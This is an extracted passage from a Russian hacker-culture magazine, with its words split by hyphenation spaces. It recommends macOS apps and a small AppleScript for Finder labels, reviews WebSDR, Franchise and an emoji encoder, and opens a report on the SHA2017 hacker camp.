самого руки пока не дош ли: Fantastical сто ит денег, а кален дарем я поль зуюсь
лишь от слу чая к слу чаю. Одна ко вос торжен ные отзы вы любите лей тща тель но
пла ниро вать свой день говорят о том, что эту прог рамму не стыд но рекомен‐ 
довать. Кста ти, те же раз работ чики недав но зарели зили   — ана логич‐ 
ную замену для адресной кни ги.

Calendar →  Fantastical

Cardhop

. Стан дар тные замет ки Notes за пос ледние годы ста ли зна‐ 
читель но  луч ше,  чем  рань ше,  но  раз работ чики  Bear  прев зошли  тво рение
Apple. К тому же они ори енти руют ся не на сред него поль зовате ля, а на гика,
которо му  зна комо  сло во  Markdown.  При ложе ние  бес плат но,  но  за  син хро‐ 
низа цию с мобиль ными устрой ства ми про сят 15 дол ларов в год.

Notes → Bear

Bear

. Ког да‐то  iTerm2 пре вос ходил стан дар‐ 
тный  Terminal  на  две  головы,  но  эти  вре мена  прош ли.  Тем  не  менее
iTerm2 по‐преж нему поль зует ся  популяр ностью и име ет  некото рые  уни каль‐ 
ные фичи. А зачем менять bash на ZSH, читай в статье «

»,  все  ска зан ное  акту‐ 
аль но и для macOS.

Terminal →   + iTerm2 Oh My Zsh

Про качай тер минал!
Полез ные  трю ки,  которые  сде лают  тебя  гуру  кон соли

.  Я  глу боко  убеж ден,  что  прог рамма‐каль кулятор
не дол жна выг лядеть,  как  кар манный каль кулятор. Soulver вмес то это го поз‐ 
воля ет  набирать  выраже ния  в  строч ку,  под держи вает  фун кции  и  поз воля ет
ссы лать ся  из  одной  стро ки  на  резуль таты  вычис лений  в  дру гой.  Для  еще
более  слож ных рас четов,  переме жаемых  тек сто выми пояс нени ями,  советую
гля нуть  .

Calculator →  Soulver

Calca
.  Лич но  я  от  двух панель ного  фай лового

менед жера  отвык  еще  во  вре мена Windows  95,  но  впол не  понимаю  людей,
которые  упор но  не  хотят  от  него  отка зывать ся.  Commander  One  прек расно
удов летво ряет эту пот ребность — даже в бес плат ной вер сии.

Finder  →  Commander  One

Рас ширения для сис темы

Прой дем ся по самым инте рес ным прог раммам из чис ла тех, которые добав‐ 
ляют в сис тему раз ные инте рес ные фун кции или меня ют стан дар тное поведе‐ 
ние интерфей са. Ста вить их все разом, ско рее все го, излишне, но ты навер‐ 
няка выберешь себе что‐нибудь по вку су.

 — это один из самых прод винутых лаун черов, который, как и стан‐ 
дар тный Spotlight, поз воля ет запус кать прог раммы и искать фай лы. В отли‐ 
чие  от  Spotlight  име ет  мас су  пла гинов  и  нас тро ек.  Под робнее  о  нем  я
писал в статье « ».

• Alfred

Луч шие лаун черы для OS X
  —  прос тень кая  ути лита,  которая  вытас кива ет  содер жимое

пап ки с поль зователь ски ми скрип тами в меню. Пос ле это го скрип там мож‐ 
но задавать горячие кла виши, что поз воля ет быс тро вызывать при ложе ния
и выпол нять коман ды. Бес плат ная вер сия име ет доволь но демок ратич ное
огра ниче ние — до десяти шот катов.

• FastScripts

 — удоб ная ути лит ка, которая дела ет две вещи: запус кает скрип ты
по рас писанию (если не хочет ся ковырять ся с пра вила ми launchd), а так же
выводит  резуль таты  их  работы  в  меню.  Иде аль но,  ког да  надо  быс тро
соору дить вид жет.

• BitBar

  —  ути лита  для  управле ния  раз мерами  окон,  которая  работа ет
не  толь ко  через  шот каты,  еще  она  име ет  удоб ный  гра фичес кий
интерфейс. Для вла дель цев боль ших монито ров — незаме нимо. Как вари‐ 
ант  можешь  пос мотреть  ,    и  про чие  аль тер нативы  из  моего

.

• Moom

Magnet Divvy
ста рого обзо ра

 — одно вре мя я исполь зовал эту ути литу для навига ции меж ду
рабочи ми сто лами при помощи покачи вания колеси ка мыши. Мышь оста‐ 
лась на ста рой работе, но было удоб но.

• Spacious

 — луч ший спел лче кер для рус ско го язы ка с кучей нас тро ек. В сис‐ 
тему  встра ивает ся  как  вли той. Минусы:  недешев,  и бывали слу чаи,  ког да
он вешал  тек сто вый редак тор. Но если серь езно отно сишь ся  к  пра вопи‐ 
санию, то с этим при дет ся мирить ся.

• ORFO

 — жес ткая низ коуров невая шту ка для переназ начения кла виш.
С  ее  помощью  я  наз начил  на  Caps  Lock  вызов  меню Moom  (через  эму‐ 
ляцию отсутс тву ющей на «маке» кноп ки Pause) и без мерно рад этой наход‐ 
ке.

• Karabiner

 — забав ная ути лита, которая показы вает «кар машек», ког да начина‐ 
ешь  что‐то  перетас кивать.  Туда  мож но  положить  то,  что  ты  тащишь,
а  потом  дос тать  в  дру гом  мес те.  Облегча ет  работу  и  помога ет  дер жать
рабочий стол в чис тоте.

• Yoink

 — один из луч ших менед жеров буфера обме на. Не толь ко хра нит
и поз воля ет извлечь все, что ты копиру ешь, но и может син хро низи ровать
дан ные с устрой ства ми на iOS или по пра вилам добав лять в спис ки.

• Copied

Раз уж речь заш ла о FastScripts, то сра зу хочу при вес ти пару при меров скрип‐ 
тов, которые я один раз нас тро ил и исполь зую пос тоян но. Один, самый прос‐ 
той,  откры вает  панель  «Сис темные  нас трой ки»  сочета нием  Cmd‐
Shift‐;  —  удоб но  запом нить,  пос коль ку  прос то  Cmd‐;  вызыва ет  нас трой ки
прог раммы. Собс твен но, это даже не скрипт, а прос тая ссыл ка.

Вто рое мое любимое сочета ние кла виш вызыва ет тер минал с катало гом,
который был открыт в Finder. Най ти скрипт ты можешь на сай те Red Sweater,
раз работ чика  FastScripts,  он  называ ется    (там  же  есть

).  Я  добавил  толь ко 
в конец строч ки, которая начина ется с  .

Terminal  At  Selection
под борка  дру гих  инте рес ных  скрип тов &  ";  ls  ‐l"

do script "cd "
Третья  шту кови на,  которой  я  хочу  поделить ся,  —  это  скрипт,  который

веша ет на фай лы в Finder цвет ные мет ки. Очень удоб но повесить пару таких
на шот каты и исполь зовать, ког да нуж но отсорти ровать боль шой объ ем фай‐ 
лов.

property file_color : 2
tell application "Finder"
    activate
    set selected to selection
    repeat with n_file in every item in selected
        set label index of n_file to file_color
    end repeat
end tell

Но мер цве та в начале можешь поменять: 0 — убрать мет ки, 1 — оран жевый,
2 — крас ный, 3 — жел тый, 5 — фиоле товый, 6 — зеленый, 7 — синий.

По  теме  маков ско го  скрип тинга  можешь  так же  пос мотреть  статью  «
»  и мою

« ».

Как
зас тавить Мак  работать  за  тебя  с  помощью Automator  и  AppleScript
Ав томати зиру ем OS X на Python

Бе зопас ность и раз работ ка

 — набор  ути лит  для  удоб ной работы  с шиф ровани ем и  клю‐ 
чами OpenPGP. Есть пла гин для Mail и сер висы для быс тро го шиф рования
и рас шифров ки выделен ного тек ста.

• GPG Suite

 —  не  самый  наворо чен ный,  но  удоб ный  и  бес плат ный HEX‐редак‐ 
тор. Всег да полез но иметь под рукой.

• 0xED

 — гра фичес кий интерфейс для работы с OpenVPN. При ложе‐ 
ние не без стран ностей, но свое дело дела ет.

• Tunnelblick

  для  MySQL,    для  PostgreSQL  и 
 — бра узе ры баз дан ных, все бес плат ные.

• Sequel  Pro PSequel DB  Browser  for
SQLite

  —  бра узер  докумен тации,  в  который  мож но  заг рузить  кучу  доков
по всем язы кам и фрей мвор кам и быс тро искать по ним. Лег ко интегри‐ 
рует ся  в  популяр ные  редак торы.  Бес плат ная  вер сия  име ет  неп рият ную
осо бен ность: то и дело зас тавля ет ждать, преж де чем покажет то, что нуж‐ 
но.

• Dash

 — безого вороч но луч ший Git‐кли ент для  «мака».  Увы, недешев —
80 бак сов.

• Tower

  —  надс трой ка  над  diff  с  фан тасти чес ки  кра сивым
интерфей сом, которая, прав да, и сто ит фан тасти чес кие для сво ей скром‐ 
ной фун кции 70 дол ларов.

• Kaleidoscope

0xED

Что  до  выбора  прог раммист ско го  редак тора,  то  об  этом мож но  вес ти  бес‐ 
конеч ные спо ры и написать не одну статью. Помимо вез десущих  ,

  и  ,  а  так же  ,  можешь  гля нуть  ,
,   и лег ковес ный  . О том, как на «маке» жить с Vim, 

в статье «
».  Ну  и  конеч но,  ты  всег да  можешь  исполь зовать  Xcode,

даже если не пишешь софт для «мака».

Sublime Text
VS  Code Atom про дук тов  JetBrains Brackets
BBEdit Coda cotEditor чи тай

Ре дак тор, из которо го не вый ти. Как перес тать боять ся Vim и начать
его  исполь зовать

По лез ные в хозяй стве вещи

  —  бес плат ный  и  впол не  удоб ный  кли ент  для  FTP,  SFTP,  S3,
WebDav и про чих фай лох ранилищ. Если у тебя заваля лись лиш ние 45 дол‐ 
ларов,  то  можешь  вмес то  него  взять    —  он  более  ско рос тной
и при ятный на вид.

• Cyberduck

Transmit

 — мощ ней шая ути лита для мас сового пере име новы вания
фай лов. Нуж на не час то, и я успешно поль зуюсь уста рев шей, но бес плат‐ 
ной  вто рой  вер сией.  Кста ти,  рекомен дую  заг лянуть  на  сайт фир мы 

 — помимо Moom и Name Mangler, она дела ет еще пару инте рес ных
штук.

• Name Mangler

Many
Tricks

 — прог рамма,  которая поможет  тебе  узнать,  куда делось все
мес то  на  дис ке.  Но  если  не  хочешь  пла тить  за  это  десять  дол ларов,  то
твой выбор — это  .

• DaisyDisk

GrandPerspective
  —  редак тор  кла виатур ных  рас кла док.  Если  вдруг  решишь,  что

ни вин довая, ни маков ская рас клад ки тебе не по душе, можешь перекол‐ 
басить кла виату ру на свой лад.

• Ukelele

 — ути лита для уда ления при ложе ний со все ми нас трой ками
и  кешами.  Обыч но  дос таточ но  сте реть  прог рамму  из  пап ки  Applications,
а нас трой ки и базы — из  , но быва ют
более запущен ные слу чаи.

• AppCleaner

~/Library/Application Support

Прос то хорошие прог раммы

Во обще, прек расный софт для меня был одной из при чин перехо да на «мак».
И  все го,  конеч но,  не  упо мянешь —  для  каж дого  вида  твор чес тва  есть  свои
инс тру мен ты.  Нап ример,  если  ты  соберешь ся  писать  кни гу,  то  обя затель но
пос мотри    и  ,  а  если  будешь  работать  с  кар тинка ми  и  не
хочешь пла тить за Photoshop — глянь   (кста ти, ско ро вый дет вер сия

),   и редак торы из серии  .

Ulysses Scrivener
Pixelmator

Pro Acorn Affinity

Pixelmator

Для рисова ния диаг рамм есть  , да и дру гие про дук ты 
дос той ны  вни мания.  Из  уни вер саль но  полез ного  могу  посове товать
еще    (агре гатор RSS) и    (клон  iA Writer  с более удоб ным счет‐ 
чиком зна ков), которы ми сам ежед невно поль зуюсь.

OmniGraffle Omni Group

Reeder Byword

Apple  дела ет  для  Apple  TV  впе чат ляющие  скрин сей веры  с  замед ленны ми
съем ками с квад рокоп тера, про лета юще го над города ми и про чими живопис‐ 
ными  мес тами.  Умель цы,  перех ватив  тра фик  прис тавки,  наш ли  ссыл ки,
по  которым  мож но  получить  эти  видео,  а  затем  сде лали  скрин сей вер
для macOS, который ты можешь   и уста новить.ска чать

Ну и конеч но, нель зя не вспом нить  ,
пос тро енных  на  осно ве  XScreenSaver.  Его  в  качес тве  хоб би  под держи вает
Джей ми Завин ски — один из  авто ров Netscape,  извес тный  в  чис ле  про чего
бла года ря  сво ему  .  Мне,  в  час тнос ти,  нра вит ся  скрин сей вер  BSOD,
который эму лиру ет экра ны смер ти раз ных компь юте ров и ОС. Опа сай ся: сто‐ 
ит  пос тавить  эту шту ку,  как  ты о ней  забыва ешь,  а  потом пуга ешь ся,  уви дев
на экра не сооб щения об ошиб ке.

ко лос саль ную кол лекцию скрин сей веров

бло гу

https://www.videolan.org/vlc/download-macosx.html
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WEBSDR — САЙТ, КОТОРЫЙ ОТКРОЕТ ДЛЯ ТЕБЯ МИР

ПРОГРАММНЫХ РАДИО1
Го ворят, сто ит толь ко при кос нуть ся к теме SDR (прог рам мно опре‐ 
деля емо го  радио),  как  про вали ваешь ся  в  нее  с  головой  и  начина‐ 
ешь  ску пать  раз ное железо  и шаманить  с  ним.  Если  тебя  не  испу‐ 
гало  это  пре дуп режде ние,  то  сайт    пос лужит  тебе
отличной  отправ ной  точ кой.  Бла года ря  ему  ты можешь  поиг рать ся
с SDR, ничего не покупая и не нас тра ивая, а так же пой мать радио,
находя щееся за полови ну мира от тебя.

WebSDR.org

Мы  уже    о  замеча тель ном  сер висе  Radio  Garden,  который
поз воля ет слу шать радио из раз ных точек мира. Но если Radio Gar‐
den — это спи сок офи циаль ных стри мов ради останций, то на WebS‐
DR  собира ют  сов сем  дру гое —  адре са  сер веров,  к  которым  под‐ 
клю чены SDR — пла ты, которые спо соб ны зах ватывать разом целый
диапа зон  час тот  (или  сра зу  нес коль ко).  Под робнее  о  них  читай
в теме номера  .

пи сали

Ха кера №177
Выб рав одну из поль зователь ских стан ций,  ты можешь сам пок‐ 

рутить руч ку при емни ка и поис кать что‐нибудь инте рес ное. Для это‐ 
го  есть  мас са  вся ких  средств  нас трой ки  и  визу али зации  сиг нала
(дос тупны вер сии для HTML5 и в  виде аппле та на  Java). Есть даже
чат,  в  котором  мож но  пооб щать ся  с  дру гими  слу шате лями
и поделить ся наход ками.

Ав тор  сер виса  рас ска зыва ет,  что  впер вые  запус тил  его,  что бы
делить ся  стри мом  ради ооб серва тории  Двин гело  меж ду  уни вер‐ 
ситета ми, но потом ока залось, что есть жела ющие пос тавить сер вер
WebSDR  у  себя,  что бы  тран сли ровать  в  интернет  зах ватыва емый
ради оэфир. Сер верный софт мож но поп росить  у  вла дель ца WebS‐
DR.org,  написав  ему  по  поч те.  Каж дый,  кто  запус кает  его  у  себя,
авто мати чес ки попада ет в каталог на сай те.

FRANCHISE — УДОБНЫЙ ВЕБ-СЕРВИС ДЛЯ РАБОТЫ С

БАЗАМИ ДАННЫХ2
Что  нуж но,  что бы  быс тро  заг лянуть  в  базу  дан ных  и  най ти  там
что‐нибудь? Мож но написать зап рос из коман дной стро ки, исполь‐ 
зовать  дес ктоп ный  кли ент  или  на  ско рую  руку  добавить  стра ницу
к  веб‐при ложе нию.  Раз работ чики  Franchise  пред лага ют  еще  один
спо соб — вос поль зовать ся их готовым вебовым кли ентом.

От кры ваем  , перехо дим к при ложе нию и можем либо заг‐ 
рузить  файл  с  базой  (если  это  SQLite  или  BigQuery),  либо  вбить
адрес базы в интерне те, а так же логин и пароль поль зовате ля. Если
СУБД  работа ет  на  дес кто пе,  то  для  соеди нения  понадо бит ся  пос‐ 
тавить Node.js и кли ент ское при ложе ние Franchise.

Franchise

Ес ли соеди нение прош ло успешно, можешь начинать писать зап‐ 
росы на SQL и смот реть резуль таты. Помимо таб лиц, которы ми вряд
ли  кого‐то  уди вишь, есть  кар точки  (их мож но быс тро про лис тывать
при  помощи  пол зунка),  кар ты  (на  слу чай,  если  зап рос  воз вра щает
пары коор динат), а так же гра фики — линей ные, гис тограм мы и диаг‐ 
раммы  рас сеяния.  Так же  резуль таты  зап роса  мож но  выг рузить
в виде CSV, XLS или JSON.

Боль шое дос тоинс тво Franchise в том, что на одной стра нице мож но
дер жать сра зу мно го зап росов с резуль татами. Поэто му раз работ‐ 
чики и называ ют свой сер вис «блок нотом для баз дан ных». Это поз‐ 
воля ет  сох ранить  всю  исто рию  иссле дова ния  или  даже  сде лать
себе что‐то вро де даш борда — что бы в любой момент пог лядывать
на ста тис тику по акту аль ным дан ным.

Не  хочешь  доверять  свои  дан ные  сто рон нему  при ложе нию?
Это впол не резон но. Воз можно, тебе пон равит ся, что его исходни ки

 на GitHub и при желании мож но пос тавить и запус тить
локаль ную копию (будут нуж ны Node.js и Yarn).
опуб ликова ны

BASE� — КОДИРОВЩИК, КОТОРЫЙ ШИФРУЕТ ТЕКСТ ПРИ

ПОМОЩИ ЭМОДЗИ3
Су щес тву ет удоб ный и пов семес тно исполь зуемый спо соб переда‐ 
вать  дво ичные дан ные  в  тек сто вом  виде — он  называ ется Base64.
Автор ути литы   решил раз влечь ся и сде лать ана лог, который
прев раща ет любые дан ные не в текст, а в эмод зи.

Base�

Base�  — это ути лита коман дной стро ки, которая работа ет ана‐ 
логич но  Base64:  в  stdin  идут  исходные  дан ные,  из  stdout  при ходит
шиф ровка из эмод зи. Все пре дель но прос то. Слож ность — это убе‐ 
дить себя в том, что тебе нужен Rust, что бы соб рать шиф роваль щик
тек ста в эмод зи. Ведь бинар ных вер сий автор пока не пре дос тавля‐ 
ет.

Кста ти, если тебе пон равит ся эта ути лита, то обя затель но обра ти
вни мание  на   —  язык  прог рамми рова ния,  в  котором  все
конс трук ции  записы вают ся  при  помощи  эмод зи.  Автор  «Хакера»
под робно  разоб рал  его  в  статье  «

» и даже написал на Emojicode интер пре‐ 
татор язы ка Brainfuck.

Emojicode

Ви ног рад  безумия.  Прог рамми‐ 
руем без букв на Emojicode

И  раз  уж  речь  заш ла  о  кодиро вании  стран ными  спо соба ми,
поделюсь ссыл кой на чуть более полез ный про ект — он называ ется

  и  исполь зует  для  кодиро вания  весь  набор  сим волов
UTF‐32.  Пос ле  его  при мене ния  стро ка  «hello  world»  (один надцать
сим волов)  прев раща ется  все го  в  шесть  зна ков,  сре ди  которых —
иерог лифы и даже кли нопись.

Base65536

Ав тор Base65536 прес ледовал бла город ную цель шей рить через
Twitter  записи игр в   — вер сию «Тет риса»,  в  которой игро ку
выпада ет  ста тис тичес ки  худ шая  пос ледова тель ность  фигур,
из которых невоз можно соб рать плот ную сте ну.

Hatetris

Что ж, доб ро пожало вать в жес токий мир прог раммист ских при‐ 
колов!

mailto:apismenny@gmail.com
http://websdr.org/
https://xakep.ru/2017/07/14/www-radio-garden/
https://xakep.ru/issues/xa/177/
https://franchise.cloud/
https://github.com/hvf/franchise
https://github.com/AdamNiederer/base100
http://www.emojicode.org/
https://xakep.ru/2016/08/11/emojicode/
https://www.npmjs.com/package/base65536
https://qntm.org/files/hatetris/hatetris.html
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СЦЕНА

Still Hacking Anyway 2017 — это фес тиваль, на котором соб‐ 
рались  четыре  тысячи  хакеров  со  все го  мира  и  в  течение
пяти  дней  раз вле кались  самыми  раз ными  спо соба ми:
от непос редс твен но взло ма до катания на кар тонных лод ках.
SHA  про изво дит  неиз гла димое  впе чат ление,  которым  я
попыта юсь здесь поделить ся.

Пом ню,  как  в  2001  году  я,  тог да  четыр надца тилет ний  школь ник,  лис тал
«Хакер»  и  нат кнул ся  на  статью  Дани  «Твоя  тусов ка  2001»  (

,  с.  22),  в  которой он рас ска зывал  про раз ные  хакер ские
сбо рища. Сре ди них был и HAL2001.

но мер
за июль 2001  года

Я  тог да  подумал:  «Вот  оно.  Сюда  я  неп ремен но  дол жен  поехать»  (ну
конеч но — в четыр надцать лет такой встал, соб рал чемодан, прих ватил пач ку
гуль денов и отпра вил ся в Гол ландию). Разуме ется, я никуда не поехал. Затем
мимо  меня  про лете ли  WTH  в  2005  году,  HAR  в  2009‐м  и  OHM  в  2013‐м,
поэто му про пус тить SHA2017 я уже прос то никак не мог.

Не офи циаль ное лого фес тиваля

ЧТО ТАКОЕ SHA

SHA2017 (Still Hacking Anyway) соб рал в этом августе в пятиде сяти километ рах
от  Амстер дама  четыре  тысячи  хакеров,  фри керов,  прог раммис тов  и  инже‐ 
неров со всех кон цов све та. По утвер жде нию орга низа торов, при сутс тво вало
поряд ка пятиде сяти наци ональ нос тей. Пять дней под ряд все эти люди тусили,
кодили,  паяли,  раз вле кались,  слу шали  док лады  и,  конеч но,  ломали  всё,
до чего мог ли дотянуть ся.

Уди витель но,  что при таком мас шта бе это неком мерчес кое мероп риятие
пол ностью орга низу ется силами волон теров (или, как их называ ли на самом
ивен те,  анге лов).  Стать  одним  из  них  мог  любой  посети тель  кем па,  за  что,
кро ме чувс тва при час тнос ти, мож но получить фир менную фут болку.

Ре ка кишит кро коди лами

Вся пре лесть SHA2017 в том, что здесь каж дый может най ти занятие по душе.
Хочешь  слу шать  док лады? Доб ро  пожало вать  на  лек ции  с  десяти  утра  и  до
две над цати  ночи.  Нра вит ся  железо  и  элек тро ника?  Вор кшо пы  с  паяль ными
стан циями к тво им услу гам. Не тер пится покодить? Мож но с ком фортом раз‐ 
местить ся в гамаке в уют ном чила уте. Хочешь ломать сер ваки? Интернет пов‐ 
сюду,  а  ска ниро вать  сеть  на  канале  в  10  Гбит  —  сплош ное  удо воль ствие.
Любишь  тусить?  Ночью  тер ритория  кем па  прев раща ется  в  нас тоящий фес‐ 
тиваль ный опен‐эйр с морем пива, грап пы, веселья и лазер ных лучей.

Офи циаль ная обра зова тель ная прог рамма мероп риятия сос тояла из лек‐ 
ций,  док ладов  и  вор кшо пов,  которые  парал лель но  читались  сра зу  в  шес ти
тен тах. Два самых круп ных тен та вме щали пару тысяч человек.

Уиль ям Бин ни рас ска зыва ет, почему тай на лич ной жиз ни — это пережи ‐
ток прош лого

Мож но  было  услы шать  от  быв шего  тех ничес кого  дирек тора  NSA  (который
называл  свою быв шую работу New Stasi  Agency),  как  это  агентство  за  нами
сле дит;  узнать,  что  элек тро меха ничес кие  зам ки  в  Гер мании  мож но  открыть
при  помощи  батарей ки  и  двух  про вод ков;  научить ся  перех ватывать  тра фик
и  про водить  MitM‐ата ку  на  Bluetooth‐устрой ства  с  низ ким  энер гопот ребле‐ 
нием  (BLE);  понять,  ста нет  ли  про рыв  в  кван товой  физике  прок ляти ем
для крип тогра фии, а так же нас ладить ся огромным количес твом дру гих инте‐ 
рес ней ших выс тупле ний (см. врез ку в кон це статьи).

Кро ме того, что поч ти со всех пло щадок ивен та велась пря мая тран сля ция
док ладов,  их  виде оза писи  появ лялись  бук валь но  в  счи таные  часы  пос ле
завер шения самого док лада, при чем пол ностью смон тирован ные, с записью
сце ны с нес коль ких камер, а так же пря мой записью пре зен тации с ноут бука
док ладчи ка.

Не кото рые док лады были инте рес нее дру гих

КЕМП НОЧЬЮ

Но  не  за  док ладами  сто ило  ехать  на  SHA,  ох  не  за  док ладами… Пока  пос‐ 
ледние  спи керы  отве чали  на  воп росы  нем ногочис ленной  ауди тории,  я  шел
к  цен тру  сбо рища  и  понимал,  что  тер ритория  кем па  неуз нава емо  пре обра‐ 
зилась. Теперь она боль ше походи ла на то, что обыч но показы вают в филь‐ 
мах про хакеров.

Толь ко  пред ставь:  вок руг  бро дят  стран ные  лич ности,  обве шан ные  све‐ 
тоди ода ми, мимо на бешеной ско рос ти про носят ся мотори зован ные диваны
и  крес ла  с  сидящи ми  на  них  пилота ми,  в  тен тах  гро мыха ет  музыка,  а  из‐за
работа ющих  дым‐машин  внут ри  не  вид но  даже  собс твен ный  локоть.  Ког да
в этом Сай лент Хил ле вру бают стро бос копы, мозг уже натураль но перес тает
ори енти ровать ся  в  прос транс тве  и  утра чива ет  кон такт  с  реаль ностью;  дым
про низы вают  лазер ные  лучи,  и  все  это  укра шают  вспо лохи  пла мени  огне‐ 
метов, уста нов ленных на выш ках. Если бы я не видел это собс твен ными гла‐ 
зами, то ни за что не поверил бы, что такое быва ет в реаль нос ти.

Вид с высоты не переда ет ощу щений, которые испы тыва ешь, находясь
внут ри. Фото — Sebastian Humbek

Выш ка с огне метом. Фото — Sebastian Humbek

Пог ладь кошеч ку!

ШАТЕР ШАТРУ РОЗНЬ

Боль шинс тво  посети телей  кем па  пред почита ли  при езжать  туда  и  селить ся
не в оди ноч ку, а объ еди нять ся в так называ емые дерев ни (villages). Чаще все‐ 
го — по стра нам. На «дерев ню» мож но взять нес коль ко  тен тов пять на пять
мет ров, объ еди нить их и получить боль шое внут реннее прос транс тво, что бы,
к при меру, про водить там свои мероп риятия.

При  выборе  кем па  важ но  не  толь ко  отку да  ты,  но  и  чем  инте ресу ешь ся.
Нап ример, немец кую дерев ню Geraffel слыш но изда лека — там всю ночь гро‐ 
хота ла музыка и тво рил ся пол ный треш. Впро чем, они пре дуп режда ли: «Мы —
те  пар ни,  которые  мощ но  шумят  в  цен тре  кем па,  так  что  ник то  не  смо жет
уснуть».

Кар та тер ритории кем па со сле дами взло ма

И  хотя  боль ше  все го  на  кем пе  было  имен но  нем цев  и  немец ких  деревень
было  пре дос таточ но,  все  же  ребята  из Geraffel  однознач но  самые  отби тые.
Каж дый  раз,  ког да  я  выходил  из  их  шат ра  (если  я  еще  мог  ходить),  у  меня
в голове кру тилась толь ко одна мысль: «Что это толь ко что вооб ще было?!»

А однажды, воз вра щаясь от них в свою палат ку, я под слу шал раз говор двух
стю ардов. Один жаловал ся:  «Нем цы из Geraffel опять шумят. Надо их  как‐то
успо коить»,  а  дру гой  уже  дав но  мах нул  на  это  рукой:  «Я  ходил.  Они  меня
не слу шают. Они вооб ще дума ют, что находят ся в Гер мании».

Впро чем,  фин ны  не  отста вали:  они  при вез ли  с  собой  сауну!  А  что?
Покодил, попарил ся, опо лос нулся в душе — мож но и к нем цам дви гать!

Глав ное лого кем па днем

ВЫПИВКА И ЗАКУСКА

Не пода леку, в клас тере Маг ратея, рас положил ся «рес торан на краю все лен‐ 
ной»  Milliways  (нес ложно  догадать ся,  что  орга низа торы  этой  дерев ни  —
лютые фанаты Дуг ласа Адам са). И  хоть он и называл ся рес тораном,  поужи‐ 
нать там мог любой жела ющий совер шенно бес плат но. Эти же ребята в один
из вечеров устро или чудес ное мероп риятие Whiskyleaks — что там про исхо‐ 
дило, оче вид но из наз вания. Ну и в любой день мож но было прий ти и выпить
пива, как же без него.

Ря дом с Milliways орга низо вали дру гое при ятное мес течко — Pizza village,
куда по вечерам выс тра ива лась длин ная оче редь любите лей халявы и пиц цы.
Пря мо  сей час,  ког да  я  пишу  этот  текст,  орга низа торы Pizza  village  написа ли
в твит тере, что при едут на EMF2018 — сле дующий круп ный кемп в Великоб‐ 
ритании.

В дру гом кон це лагеря я обна ружил бель гийское и италь янское «посоль‐ 
ства» (эти дерев ни так и называ ются — Embassy). Бель гийцы спе циали зиро‐ 
вались на железе и пиве (бель гийском, конеч но же). Там мож но было поучас‐ 
тво вать в обу чающих вор кшо пах по управле нию   паяль ником или прос‐ 
то отдохнуть, попивая хорошее пиво.

гне вом

Моя палат ка

Италь янцы  орга низо выва ли  собс твен ные  док лады,  надо  ска зать  доволь но
инте рес ные,  и  пред лагали  гос тям  грап пу.  В  пер вые  дни  кем па  грап пу
еще  налива ли  за  донат,  но  к  кон цу,  ког да  ста ло  ясно,  что,  если  ничего
не изме нить, ее при дет ся вез ти назад, в воз духе явс твен но запах ло халявой.
Ког да  подош ла  моя  оче редь,  мне  сна чала  накапа ли  дефол тные  пять десят
грам мов, но пос ле того, как я ска зал, что из Рос сии, доза мгно вен но уве личи‐ 
лась раз в пять.

БЕЗУМНЫЕ ГИГАБИТЫ

На всей тер ритории лагеря, а это око ло 16 га, была раз верну та телефон ная
сеть по стан дарту DECT. Так что, прих ватив из офи са DECT‐телефон, мож но
было  получить  четырех знач ный  номер  и,  зарегис три ровав  телефон  по  при‐ 
бытии на мес то, нас лаждать ся телефон ной связью.

Кро ме  того  что  быс тро  соз ванивать ся  с  дру гими  учас тни ками  кем па,
с помощью этой телефон ной сети мож но было зво нить на номера по все му
миру  (кто‐то умуд рился поз вонить даже в Ватикан и Север ную Корею). Вхо‐ 
дящие  вызовы  из  внеш него  мира  по  умол чанию  были  недос тупны.  Но  если
в этом была необ ходимость,  то мож но было поп росить себе пря мой нидер‐ 
ланд ский номер.

А  еще  на  тер ритории  лагеря  были  рас став лены  про вод ные  телефон ные
аппа раты, под клю чен ные к той же сети. Толь ко вот номеро наби рате ля на них
не  было.  Что бы  кому‐то  поз вонить,  нуж но  снять  труб ку,  пок рутить  руко ятку,
пос ле чего отве чает опе ратор, которо му надо наз вать номер або нен та. Такой
вот при ятный олд скул.  (Поль зуясь слу чаем, передаю при вет сво ей бабуш ке,
которая в шес тидеся тые работа ла телефо нис ткой.)

Про вод ной полевой телефон ный аппа рат

Ин тернет на тер ритории кем па был прос то про изве дени ем искусс тва,  такой
ско рос ти мне видеть еще не при ходи лось. Поч ти все свит чи и роуте ры на тер‐ 
ритории  лагеря  были  десяти гига бит ными.  То  есть,  имея  соот ветс тву ющую
сетевую кар точку, я мог бы ска чать фильм раз мером два гигабай та при мер но
за пол торы секун ды — лишь бы наш лось отку да качать. Но ско рость впе чат‐ 
ляла  даже  со  стан дар тной  гигабит ной  сетеву хой  и  уче том  того,  что  10  Гбит
при ходи лось делить с дру гими поль зовате лями.

Ги габит ный интернет в палат ке? Лег ко!

Ор ганиза торам  кем па  уда лось  про ложить  опто воло кон ный  кабель  100GE
дли ной 50 км до дата‐цен тра в Амстер даме, отку да уже было четыре апс три‐ 
ма во внеш ний мир: два 10GE и два 100GE. Кро ме основно го сто гига бит ного
канала, был резер вный на 10 Гбит.

И  еще  один  при ятный  сюр приз:  каж дый  посети тель  кем па  на  каж дом
устрой стве получал внеш ний IPv4‐адрес. Спе циаль но для это го RIPE пре дос‐ 
тавил целую под сеть /16 (и никаких NAT!). Конеч но, IPv6 тоже имел ся.

ТУАЛЕТ КАК СРЕДСТВО ПЕРЕДАЧИ ДАННЫХ

Не мень ше самой тех ничес кой мощи поража ет то, как имен но ее дос тавля ли
до  посети телей  кем па.  При  помощи  сор тиров!  Так  называ емая  datenklo  —
это плас тиковая туалет ная буд ка с уста нов ленным внут ри сетевым обо рудо‐ 
вани ем.  Одна ко  по  пря мому  наз начению  исполь зовать  кабин ку  нель зя:
помимо инс трук ции по под клю чению, в каж дой из datenklo висели объ явле ния
со слез ной прось бой сетевых адми нис тра торов не гадить внут ри. Потому что
были  пре цеден ты,  ког да  под выпив шие  хакеры  ломали  замок  и  навали вали
кучу пря мо на свитч.

«Сво бод но»

ПИРАТСКОЕ РАДИО

Все  вре мя  про веде ния мероп риятия  на  час тоте  107,1  FM мож но было  пой‐ 
мать  нас тоящую  пират скую  ради останцию  BinaryVoice.  При чем  передат чик
с антенной, уста нов ленной на ради овыш ке, был такой мощ ности, что сиг нал
мож но  было  ловить  не  толь ко  на  всей  тер ритории  кем па,  но  и  в  семи
километ рах от него, в близ лежащем городиш ке Ней керк.

Нас тоящая пират ская ради останция
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РЕПОРТАЖ С САМОГО ЯРКОГО
ХАКЕРСКОГО ИВЕНТА ЭТОГО ЛЕТА

СЦЕНА  НАЧАЛО СТАТЬИ←

